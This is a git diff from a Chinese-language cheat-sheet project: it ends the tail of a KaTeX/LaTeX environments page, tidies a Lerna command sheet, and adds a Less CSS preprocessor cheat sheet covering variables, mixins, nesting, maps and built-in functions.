i\in\Lambda\\
|
||||
0<j<n
|
||||
\end{subarray}}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\sum_{
|
||||
\begin{subarray}{l}
|
||||
i\in\Lambda\\
|
||||
0<j<n
|
||||
\end{subarray}}
|
||||
```
|
||||
|
||||
### Environments 13
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{equation}
|
||||
\begin{split} a &=b+c\\
|
||||
&=e+f
|
||||
\end{split}
|
||||
\end{equation}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{equation}
|
||||
\begin{split} a &=b+c\\
|
||||
&=e+f
|
||||
\end{split}
|
||||
\end{equation}
|
||||
```
|
||||
|
||||
### Environments 14
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{align}
|
||||
a&=b+c \\
|
||||
d+e&=f
|
||||
\end{align}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{align}
|
||||
a&=b+c \\
|
||||
d+e&=f
|
||||
\end{align}
|
||||
```
|
||||
|
||||
### Environments 15
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{gather}
|
||||
a=b \\
|
||||
e=b+c
|
||||
\end{gather}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{gather}
|
||||
a=b \\
|
||||
e=b+c
|
||||
\end{gather}
|
||||
```
|
||||
|
||||
### Environments 16
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{alignat}{2}
|
||||
10&x+&3&y=2\\
|
||||
3&x+&13&y=4
|
||||
\end{alignat}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{alignat}{2}
|
||||
10&x+&3&y=2\\
|
||||
3&x+&13&y=4
|
||||
\end{alignat}
|
||||
```
|
||||
|
||||
### Environments 17
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{CD}
|
||||
A @>a>> B \\
|
||||
@VbVV @AAcA \\
|
||||
C @= D
|
||||
\end{CD}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{CD}
|
||||
A @>a>> B \\
|
||||
@VbVV @AAcA \\
|
||||
C @= D
|
||||
\end{CD}
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
|
||||
- [KaTeX 官网](https://katex.org/) _(katex.org)_
|
@ -199,7 +199,7 @@ $ lerna publish --canary preminor
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
@ -239,7 +239,7 @@ $ lerna version -m "chore(doc): publish %v"
|
||||
- `prerelease` 预发行
|
||||
<!--rehype:className=cols-2-->
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
@ -311,7 +311,6 @@ $ lerna bootstrap --hoist
|
||||
`--force-local` [#](https://github.com/lerna/lerna/tree/main/commands/bootstrap#--force-local) | 此标志会导致引导命令始终对本地依赖项进行符号链接,而不管匹配的版本范围如何
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
|
||||
### info 本地环境信息
|
||||
|
||||
```bash
|
||||
@ -410,9 +409,9 @@ lerna la
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
|
||||
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
|
||||
`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
|
||||
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
|
||||
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
|
||||
`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
|
||||
`--include-merged-tags` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--include-merged-tags)
|
||||
|
||||
### init
|
||||
@ -424,13 +423,13 @@ lerna la
|
||||
- 如果不存在 `.gitignore`,则生成一个忽略文件
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```shell
|
||||
$ lerna init --independent
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
@ -527,7 +526,6 @@ $ lerna diff package-name # 区分一个特定的包
|
||||
|
||||
类似于 `lerna changed`,此命令运行 `git diff`
|
||||
|
||||
|
||||
### clean
|
||||
|
||||
从所有包中删除 `node_modules` 目录
|
||||
@ -565,4 +563,4 @@ $ npm i lerna@latest
|
||||
$ lerna repair
|
||||
```
|
||||
|
||||
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改
|
||||
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改
|
||||
|
718
docs/lessjs.md
Normal file
718
docs/lessjs.md
Normal file
@ -0,0 +1,718 @@
|
||||
Less 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [Less](https://github.com/less/less.js) 所涉及的主要概念,显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
Less(Leaner Style Sheets 的缩写)是一门向后兼容的 [`CSS`](./css.md) 扩展语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
|
||||
|
||||
在 Node.js 环境中使用 `Less`
|
||||
|
||||
```bash
|
||||
$ npm install -g less
|
||||
$ lessc styles.less styles.css
|
||||
```
|
||||
|
||||
在浏览器环境中使用 `Less`
|
||||
|
||||
```html
|
||||
<link rel="stylesheet/less" type="text/css" href="styles.less" />
|
||||
<script src="https://cdn.jsdelivr.net/npm/less@4" ></script>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 变量(Variables)
|
||||
|
||||
```less
|
||||
@width: 10px;
|
||||
@height: @width + 10px;
|
||||
|
||||
#header {
|
||||
width: @width;
|
||||
height: @height;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
#header {
|
||||
width: 10px;
|
||||
height: 20px;
|
||||
}
|
||||
```
|
||||
|
||||
另见: [变量的更多信息](https://lesscss.org/features/#variables-feature)
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```less {1,8,13}
|
||||
.bordered {
|
||||
border-top: dotted 1px black;
|
||||
border-bottom: solid 2px black;
|
||||
}
|
||||
|
||||
#menu a {
|
||||
color: #111;
|
||||
.bordered();
|
||||
}
|
||||
|
||||
.post a {
|
||||
color: red;
|
||||
.bordered();
|
||||
}
|
||||
```
|
||||
|
||||
另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
|
||||
|
||||
### 嵌套(Nesting)
|
||||
|
||||
```css
|
||||
#header {
|
||||
color: black;
|
||||
}
|
||||
#header .navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
#header .logo {
|
||||
width: 300px;
|
||||
}
|
||||
```
|
||||
|
||||
👇👇 更改为 less 的写法 ✅ 👇👇
|
||||
|
||||
```less
|
||||
#header {
|
||||
color: black;
|
||||
.navigation {
|
||||
font-size: 12px;
|
||||
}
|
||||
.logo {
|
||||
width: 300px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 父选择器 &
|
||||
|
||||
```less
|
||||
.button {
|
||||
color: blue;
|
||||
&-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
&:hover {
|
||||
color: green;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
}
|
||||
.button-ok {
|
||||
background-image: url("ok.png");
|
||||
}
|
||||
.button:hover {
|
||||
color: green;
|
||||
}
|
||||
```
|
||||
|
||||
### @规则嵌套和冒泡
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
.component {
|
||||
width: 300px;
|
||||
@media (min-width: 768px) {
|
||||
width: 600px;
|
||||
@media (min-resolution: 192dpi) {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.component {
|
||||
width: 300px;
|
||||
}
|
||||
@media (min-width: 768px) {
|
||||
.component {
|
||||
width: 600px;
|
||||
}
|
||||
}
|
||||
@media (min-width: 768px) and (min-resolution: 192dpi) {
|
||||
.component {
|
||||
background-image: url(/img/icon2x.png);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
.component {
|
||||
width: 800px;
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 运算(Operations)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
算术运算符 `+`、`-`、`*`、`/` 对任何数字、颜色或变量进行运算
|
||||
|
||||
```less
|
||||
@conversion-1: 5cm + 10mm; // 结果是 6cm
|
||||
@conversion-2: 2 - 3cm - 5mm; // 结果 -1.5cm
|
||||
@incompatible-units: 2 + 5px - 3cm;
|
||||
// 结果是 4px
|
||||
@base: 5%;
|
||||
@filler: @base * 2; // 结果是 10%
|
||||
@other: @base + @filler; // 结果是 15%
|
||||
|
||||
@base: 2cm * 3mm; // 结果是 6cm
|
||||
@color: (#224488 / 2); // 结果是 #112244
|
||||
background-color: #112244 + #111;
|
||||
// 结果是 #223355
|
||||
@color: #222 / 2;
|
||||
// 结果是 `#222 / 2`, not #111
|
||||
background-color: (#FFFFFF / 16);
|
||||
// 结果是 #101010
|
||||
```
|
||||
|
||||
#### calc() 特例
|
||||
|
||||
为了与 `CSS` 保持兼容,`calc()` 并不对数学表达式进行计算,但是在嵌套函数中会计算变量和数学公式的值
|
||||
|
||||
```less
|
||||
@var: 50vh/2;
|
||||
width: calc(50% + (@var - 20px));
|
||||
// 结果是 calc(50% + (25vh - 20px))
|
||||
```
|
||||
|
||||
### 转义(Escaping)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
@min768: ~"(min-width: 768px)";
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
@media (min-width: 768px) {
|
||||
.element {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
从 Less 3.5 开始,可以简写为
|
||||
|
||||
```less
|
||||
@min768: (min-width: 768px);
|
||||
.element {
|
||||
@media @min768 {
|
||||
font-size: 1.2rem;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 Less 3.5+ 版本中,许多以前需要“引号转义”的情况就不再需要了
|
||||
|
||||
### 函数(Functions)
|
||||
|
||||
```less
|
||||
@base: #f04615;
|
||||
@width: 0.5;
|
||||
|
||||
.class {
|
||||
width: percentage(@width); // 返回 `50%`
|
||||
color: saturate(@base, 5%);
|
||||
background-color:
|
||||
spin(lighten(@base, 25%), 8);
|
||||
}
|
||||
```
|
||||
|
||||
Less 内置了多种函数用于转换颜色、处理字符串、算术运算等
|
||||
|
||||
### 命名空间和访问符
|
||||
|
||||
```less
|
||||
#bundle() {
|
||||
.button {
|
||||
display: block;
|
||||
border: 1px solid black;
|
||||
background-color: grey;
|
||||
&:hover {
|
||||
background-color: white;
|
||||
}
|
||||
}
|
||||
.tab { ... }
|
||||
.citation { ... }
|
||||
}
|
||||
```
|
||||
|
||||
把 `.button` 类混合到 `#header a` 中,我们可以这样做
|
||||
|
||||
```less
|
||||
#header a {
|
||||
color: orange;
|
||||
#bundle.button();
|
||||
// 还可以书写为 #bundle > .button 形式
|
||||
}
|
||||
```
|
||||
|
||||
### 映射(Maps)
|
||||
|
||||
```less
|
||||
#colors() {
|
||||
primary: blue;
|
||||
secondary: green;
|
||||
}
|
||||
|
||||
.button {
|
||||
color: #colors[primary];
|
||||
border: 1px solid #colors[secondary];
|
||||
}
|
||||
```
|
||||
|
||||
输出符合预期(css):
|
||||
|
||||
```css
|
||||
.button {
|
||||
color: blue;
|
||||
border: 1px solid green;
|
||||
}
|
||||
```
|
||||
|
||||
另见:[映射(Maps)](https://lesscss.org/features/#maps-feature)
|
||||
|
||||
### 作用域(Scope)
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
@var: white;
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
和上面实例代码相同
|
||||
|
||||
```less
|
||||
@var: red;
|
||||
|
||||
#page {
|
||||
#header {
|
||||
color: @var; // white
|
||||
}
|
||||
@var: white;
|
||||
}
|
||||
```
|
||||
|
||||
另见:[懒加载](https://lesscss.org/features/#variables-feature-lazy-loading)
|
||||
|
||||
### 注释(Comments)
|
||||
|
||||
```less
|
||||
/* 一个块注释
|
||||
* style comment! */
|
||||
@var: red;
|
||||
|
||||
// 这一行被注释掉了!
|
||||
@var: white;
|
||||
```
|
||||
|
||||
块注释和行注释都可以使用
|
||||
|
||||
### 导入(Importing)
|
||||
|
||||
```less
|
||||
@import "library"; // library.less
|
||||
@import "typo.css";
|
||||
```
|
||||
|
||||
另见:[导入(Importing)的知识](https://lesscss.org/features/#imports-feature)
|
||||
|
||||
### Extend
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```less
|
||||
nav ul {
|
||||
&:extend(.inline);
|
||||
background: blue;
|
||||
}
|
||||
.inline {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
nav ul {
|
||||
background: blue;
|
||||
}
|
||||
.inline,
|
||||
nav ul {
|
||||
color: red;
|
||||
}
|
||||
```
|
||||
|
||||
函数
|
||||
---
|
||||
|
||||
### 逻辑函数 if & boolean
|
||||
|
||||
```less
|
||||
@bg: black;
|
||||
@bg-light: boolean(luma(@bg) > 50%);
|
||||
|
||||
div {
|
||||
background: @bg;
|
||||
color: if(@bg-light, black, white);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
div {
|
||||
background: black;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`escape` | 将 [URL 编码](http://en.wikipedia.org/wiki/Percent-encoding)应用于输入字符串中的特殊字符
|
||||
`e` | 字符串转义
|
||||
`%` | 第一个参数是带有占位符的字符串
|
||||
|
||||
```less
|
||||
escape('a=1') // 输出 a%3D1
|
||||
|
||||
@mscode: "ms:alwaysHasItsOwnSyntax.For.Stuff()"
|
||||
filter: e(@mscode);
|
||||
// 输出 filter: ms:alwaysHasItsOwnSyntax.For.Stuff();
|
||||
|
||||
format-a-d: %("repetitions: %a file: %d", 1 + 2, "directory/file.less");
|
||||
// 输出 format-a-d: "repetitions: 3 file: "directory/file.less"";
|
||||
```
|
||||
|
||||
### 替换字符串 replace
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```less
|
||||
replace("Hello, Mars?", "Mars\?", "Earth!");
|
||||
replace("One + one = 4", "one", "2", "gi");
|
||||
replace('This is a string.', "(string)\.$", "new $1.");
|
||||
replace(~"bar-1", '1', '2');
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```
|
||||
"Hello, Earth!";
|
||||
"2 + 2 = 4";
|
||||
'This is a new string.';
|
||||
bar-2;
|
||||
```
|
||||
|
||||
### length
|
||||
|
||||
```less
|
||||
@list: "banana", "tomato", "potato", "peach";
|
||||
n: length(@list);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
n: 4;
|
||||
```
|
||||
|
||||
返回值列表中的元素数
|
||||
|
||||
### extract
|
||||
|
||||
```less
|
||||
@list: apple, pear, coconut, orange;
|
||||
value: extract(@list, 3);
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
value: coconut;
|
||||
```
|
||||
|
||||
返回列表中指定位置的值
|
||||
|
||||
### range
|
||||
|
||||
```less
|
||||
value: range(4);
|
||||
// 输出 value: 1 2 3 4;
|
||||
value: range(10px, 30px, 10);
|
||||
// 输出 value: 10px 20px 30px;
|
||||
```
|
||||
|
||||
生成跨越一系列值的列表
|
||||
|
||||
### each
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```less
|
||||
@selectors: blue, green, red;
|
||||
|
||||
each(@selectors, {
|
||||
.sel-@{value} {
|
||||
a: b;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.sel-blue {
|
||||
a: b;
|
||||
}
|
||||
.sel-green {
|
||||
a: b;
|
||||
}
|
||||
.sel-red {
|
||||
a: b;
|
||||
}
|
||||
```
|
||||
|
||||
每个列表成员的每个规则集都绑定到 `@value`、`@key` 和 `@index` 变量
|
||||
|
||||
```less
|
||||
@set: {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set {
|
||||
each(@set, {
|
||||
@{key}-@{index}: @value;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
将规则集的评估绑定到列表的每个成员
|
||||
|
||||
### each()
|
||||
|
||||
```less
|
||||
set-2() {
|
||||
one: blue;
|
||||
two: green;
|
||||
three: red;
|
||||
}
|
||||
.set-2 {
|
||||
// 调用 mixin 并迭代每个规则
|
||||
each(.set-2(), .(@v, @k, @i) {
|
||||
@{k}-@{i}: @v;
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.set-2 {
|
||||
one-1: blue;
|
||||
two-2: green;
|
||||
three-3: red;
|
||||
}
|
||||
```
|
||||
|
||||
### 使用 `range` 和 `each` 创建一个 `for` 循环
|
||||
|
||||
```less
|
||||
each(range(4), {
|
||||
.col-@{value} {
|
||||
height: (@value * 50px);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
预期输出
|
||||
|
||||
```css
|
||||
.col-1 {
|
||||
height: 50px;
|
||||
}
|
||||
.col-2 {
|
||||
height: 100px;
|
||||
}
|
||||
.col-3 {
|
||||
height: 150px;
|
||||
}
|
||||
.col-4 {
|
||||
height: 200px;
|
||||
}
|
||||
```
|
||||
|
||||
### 数学函数
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ceil(2.4)` _(输出 3)_ | 向上舍入到下一个最大整数 [#](https://lesscss.org/functions/#math-functions-ceil)
|
||||
`floor(2.6)` _(输出 2)_ | 向下舍入到下一个最小整数 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`percentage(0.5)` _(输出 50%)_ | 将浮点数转换为百分比字符串 [#](https://lesscss.org/functions/#math-functions-floor)
|
||||
`round(1.67)` _(输出 2)_ | 应用舍入 [#](https://lesscss.org/functions/#math-functions-round)
|
||||
`sqrt(25cm)` _(输出 5cm)_ | 计算数字的平方根。保持单位不变 [#](https://lesscss.org/functions/#math-functions-sqrt)
|
||||
`abs(25cm)` _(输出 25cm)_ | 计算数字的绝对值。 保持单位不变 [#](https://lesscss.org/functions/#math-functions-abs)
|
||||
`sin(1deg)` _(输出 0.01745240643728351)_ | 计算正弦函数 [#](https://lesscss.org/functions/#math-functions-sin)
|
||||
`asin(-0.8414709848078965)` _(输出 -1rad)_ | 计算反正弦(正弦的倒数)函数 [#](https://lesscss.org/functions/#math-functions-asin)
|
||||
`cos(1deg)` _(输出 0.9998476951563913)_ | 计算余弦函数 [#](https://lesscss.org/functions/#math-functions-cos)
|
||||
`acos(0.5403023058681398)` _(输出 1rad)_ | 计算反余弦(余弦的倒数)函数 [#](https://lesscss.org/functions/#math-functions-acos)
|
||||
`tan(1deg)` _(输出 0.017455064928217585)_ | 计算正切函数 [#](https://lesscss.org/functions/#math-functions-tan)
|
||||
`atan(-1.5574077246549023)` _(输出 -1rad)_ | 计算反正切(正切的倒数)函数 [#](https://lesscss.org/functions/#math-functions-atan)
|
||||
`pi()` _(输出 3.141592653589793)_ | π (pi) [#](https://lesscss.org/functions/#math-functions-pi)
|
||||
`pow(0cm, 0px)` _(输出 1cm)_ | 返回第一个参数的第二个参数次幂的值 [#](https://lesscss.org/functions/#math-functions-pow)
|
||||
`mod(11cm, 6px)` _(输出 5cm)_ | 返回第一个参数模数第二个参数的值 [#](https://lesscss.org/functions/#math-functions-mod)
|
||||
`min(5, 10)` _(输出 5)_ | 返回一个或多个值中的最小值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
`max(5, 10)` _(输出 10)_ | 返回一个或多个值中的最大值 [#](https://lesscss.org/functions/#math-functions-min)
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### 颜色定义函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`rgb`| [#](https://lesscss.org/functions/#color-definition-rgb)
|
||||
`rgba`| [#](https://lesscss.org/functions/#color-definition-rgba)
|
||||
`argb`| [#](https://lesscss.org/functions/#color-definition-argb)
|
||||
`hsl`| [#](https://lesscss.org/functions/#color-definition-hsl)
|
||||
`hsla`| [#](https://lesscss.org/functions/#color-definition-hsla)
|
||||
`hsv`| [#](https://lesscss.org/functions/#color-definition-hsv)
|
||||
`hsva`| [#](https://lesscss.org/functions/#color-definition-hsva)
|
||||
|
||||
### 类型函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`isnumber`| 值是否为数字 [#](https://lesscss.org/functions/#type-functions-isnumber)
|
||||
`isstring`| 值是否为字符串 [#](https://lesscss.org/functions/#type-functions-isstring)
|
||||
`iscolor`| 值是否为颜色值 [#](https://lesscss.org/functions/#type-functions-iscolor)
|
||||
`iskeyword`| 值是否为 keyword [#](https://lesscss.org/functions/#type-functions-iskeyword)
|
||||
`isurl`| 值是否为 url 值 [#](https://lesscss.org/functions/#type-functions-isurl)
|
||||
`ispixel`| 值是否为像素值 [#](https://lesscss.org/functions/#type-functions-ispixel)
|
||||
`isem`| 值是否为 em 值 [#](https://lesscss.org/functions/#type-functions-isem)
|
||||
`ispercentage`| 值是否为 百分百 值 [#](https://lesscss.org/functions/#type-functions-ispercentage)
|
||||
`isunit`| 值是是否为指定单位的数字 [#](https://lesscss.org/functions/#type-functions-isunit)
|
||||
`isruleset`| 值是否为规则集 [#](https://lesscss.org/functions/#type-functions-isruleset)
|
||||
`isdefined`| 值是否为 defined [#](https://lesscss.org/functions/#type-functions-isdefined)
|
||||
|
||||
### 杂项函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color`| [#](https://lesscss.org/functions/#misc-functions-color)
|
||||
`image-size`| [#](https://lesscss.org/functions/#misc-functions-image-size)
|
||||
`image-width`| [#](https://lesscss.org/functions/#misc-functions-image-width)
|
||||
`image-height`| [#](https://lesscss.org/functions/#misc-functions-image-height)
|
||||
`convert`| [#](https://lesscss.org/functions/#misc-functions-convert)
|
||||
`data-uri`| [#](https://lesscss.org/functions/#misc-functions-data-uri)
|
||||
`default`| [#](https://lesscss.org/functions/#misc-functions-default)
|
||||
`unit`| [#](https://lesscss.org/functions/#misc-functions-unit)
|
||||
`get-unit`| [#](https://lesscss.org/functions/#misc-functions-get-unit)
|
||||
`svg-gradient`| [#](https://lesscss.org/functions/#misc-functions-svg-gradient)
|
||||
|
||||
### 颜色通道函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`hue`| [#](https://lesscss.org/functions/#color-channel-hue)
|
||||
`saturation`| [#](https://lesscss.org/functions/#color-channel-saturation)
|
||||
`lightness`| [#](https://lesscss.org/functions/#color-channel-lightness)
|
||||
`hsvhue`| [#](https://lesscss.org/functions/#color-channel-hsvhue)
|
||||
`hsvsaturation`| [#](https://lesscss.org/functions/#color-channel-hsvsaturation)
|
||||
`hsvvalue`| [#](https://lesscss.org/functions/#color-channel-hsvvalue)
|
||||
`red`| [#](https://lesscss.org/functions/#color-channel-red)
|
||||
`green`| [#](https://lesscss.org/functions/#color-channel-green)
|
||||
`blue`| [#](https://lesscss.org/functions/#color-channel-blue)
|
||||
`alpha`| [#](https://lesscss.org/functions/#color-channel-alpha)
|
||||
`luma`| [#](https://lesscss.org/functions/#color-channel-luma)
|
||||
`luminance`| [#](https://lesscss.org/functions/#color-channel-luminance)
|
||||
|
||||
### 色彩运算函数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`saturate`| [#](https://lesscss.org/functions/#color-operations-saturate)
|
||||
`desaturate`| [#](https://lesscss.org/functions/#color-operations-desaturate)
|
||||
`lighten`| [#](https://lesscss.org/functions/#color-operations-lighten)
|
||||
`darken`| [#](https://lesscss.org/functions/#color-operations-darken)
|
||||
`fadein`| [#](https://lesscss.org/functions/#color-operations-fadein)
|
||||
`fadeout`| [#](https://lesscss.org/functions/#color-operations-fadeout)
|
||||
`fade`| [#](https://lesscss.org/functions/#color-operations-fade)
|
||||
`spin`| [#](https://lesscss.org/functions/#color-operations-spin)
|
||||
`mix`| [#](https://lesscss.org/functions/#color-operations-mix)
|
||||
`tint`| [#](https://lesscss.org/functions/#color-operations-tint)
|
||||
`shade`| [#](https://lesscss.org/functions/#color-operations-shade)
|
||||
`greyscale`| [#](https://lesscss.org/functions/#color-operations-greyscale)
|
||||
`contrast`| [#](https://lesscss.org/functions/#color-operations-contrast)
|
||||
|
||||
### 颜色混合功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`multiply`| [#](https://lesscss.org/functions/#color-blending-multiply)
|
||||
`screen`| [#](https://lesscss.org/functions/#color-blending-screen)
|
||||
`overlay`| [#](https://lesscss.org/functions/#color-blending-overlay)
|
||||
`softlight`| [#](https://lesscss.org/functions/#color-blending-softlight)
|
||||
`hardlight`| [#](https://lesscss.org/functions/#color-blending-hardlight)
|
||||
`difference`| [#](https://lesscss.org/functions/#color-blending-difference)
|
||||
`exclusion`| [#](https://lesscss.org/functions/#color-blending-exclusion)
|
||||
`average`| [#](https://lesscss.org/functions/#color-blending-average)
|
||||
`negation`| [#](https://lesscss.org/functions/#color-blending-negation)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
|
||||
